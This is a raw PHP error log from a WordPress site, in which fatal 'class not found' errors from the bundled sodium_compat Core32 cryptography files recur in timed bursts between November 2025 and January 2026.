  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[02-Nov-2025 08:42:08 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[02-Nov-2025 08:42:09 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[06-Dec-2025 18:49:35 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[06-Dec-2025 18:49:35 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[06-Dec-2025 18:49:40 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[06-Dec-2025 18:49:47 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[06-Dec-2025 18:49:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[06-Dec-2025 18:49:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[06-Dec-2025 18:49:50 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[06-Dec-2025 18:49:54 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[06-Dec-2025 18:49:56 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[06-Dec-2025 18:49:57 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[06-Dec-2025 18:49:58 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[06-Dec-2025 18:49:58 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[06-Dec-2025 18:50:00 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[06-Dec-2025 18:59:56 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[06-Dec-2025 18:59:56 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[06-Dec-2025 19:00:01 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[06-Dec-2025 19:00:08 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[06-Dec-2025 19:00:09 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[06-Dec-2025 19:00:09 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[06-Dec-2025 19:00:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[06-Dec-2025 19:00:14 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[06-Dec-2025 19:00:16 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[06-Dec-2025 19:00:17 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[06-Dec-2025 19:00:18 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[06-Dec-2025 19:00:18 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[06-Dec-2025 19:00:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[23-Dec-2025 11:47:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[23-Dec-2025 11:47:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[23-Dec-2025 11:47:50 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[23-Dec-2025 11:48:01 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[23-Dec-2025 11:48:02 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[23-Dec-2025 11:48:04 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[23-Dec-2025 11:48:08 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[23-Dec-2025 11:48:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[23-Dec-2025 11:48:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[23-Dec-2025 11:48:20 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[23-Dec-2025 11:48:21 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[23-Dec-2025 11:48:24 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[23-Dec-2025 11:48:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[23-Dec-2025 12:03:52 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[23-Dec-2025 12:03:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[23-Dec-2025 12:04:04 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[23-Dec-2025 12:04:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[23-Dec-2025 12:04:15 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[23-Dec-2025 12:04:17 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[23-Dec-2025 12:04:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[23-Dec-2025 12:04:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[23-Dec-2025 12:04:30 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[23-Dec-2025 12:04:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[23-Dec-2025 12:04:33 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[23-Dec-2025 12:04:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[23-Dec-2025 12:04:38 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[24-Dec-2025 15:03:09 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[24-Dec-2025 15:03:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[24-Dec-2025 15:03:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[24-Dec-2025 15:03:31 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[24-Dec-2025 15:03:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[24-Dec-2025 15:03:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[24-Dec-2025 15:03:40 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[24-Dec-2025 15:03:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[24-Dec-2025 15:03:56 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[24-Dec-2025 15:03:57 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[24-Dec-2025 15:03:59 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[24-Dec-2025 15:04:01 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[24-Dec-2025 15:04:03 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[24-Dec-2025 15:25:30 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[24-Dec-2025 15:25:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[24-Dec-2025 15:25:42 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[24-Dec-2025 15:25:56 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[24-Dec-2025 15:25:59 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[24-Dec-2025 15:26:02 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[24-Dec-2025 15:26:05 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[24-Dec-2025 15:26:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[24-Dec-2025 15:26:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[24-Dec-2025 15:26:20 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[24-Dec-2025 15:26:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[24-Dec-2025 15:26:24 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[24-Dec-2025 15:26:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[04-Jan-2026 10:11:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[04-Jan-2026 10:11:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[04-Jan-2026 10:11:42 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[04-Jan-2026 10:11:47 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
